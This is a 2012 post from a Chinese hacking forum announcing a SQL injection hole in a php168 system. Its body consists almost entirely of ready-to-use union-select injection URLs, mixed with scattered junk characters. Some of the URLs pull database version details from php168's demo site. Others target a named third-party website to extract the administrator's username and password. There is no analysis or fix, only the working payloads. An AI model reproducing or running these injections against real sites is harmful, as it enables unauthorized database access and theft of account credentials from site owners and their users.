找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3373|回复: 0
打印 上一主题 下一主题

php168某系统注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-10-18 08:52:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
  y+ h: B. u. Y2 m/ q9 V8 N                                                         5 H/ B3 p( O: b# j
                                       2 O+ @. |5 _0 }  a9 g

  i/ K. t! k4 }  `0 N! c* }
http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--; N- e' X, v% F6 e
                                                     ( y( h( w3 E+ k2 C
                                                                   : F) M$ g/ k) Z
                                                        
: r# C0 a  _( E" k& V/ Chttp://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
! A' E: g6 m6 H& R  X5 H. w) }7 I
' R; _. y! s# f* B. x8 C7 V  s7 N3 j$ Y

6 T* m+ G) C, r. O+ x2 j2 J/ G4 c                                                            * G5 T  \' c7 G1 {) l/ t
, C' x- R5 x/ _- k2 |
http://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--6 K. Q3 Q$ {0 c$ F% m0 ^; L* h" w
1 N! A5 v) ]: X  n* Q& m

7 T8 U* x/ v) r0 p0 C% A
% B5 q8 h& q! C! g, O+ u! Y                                                                    
* i  g0 e3 X7 S

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表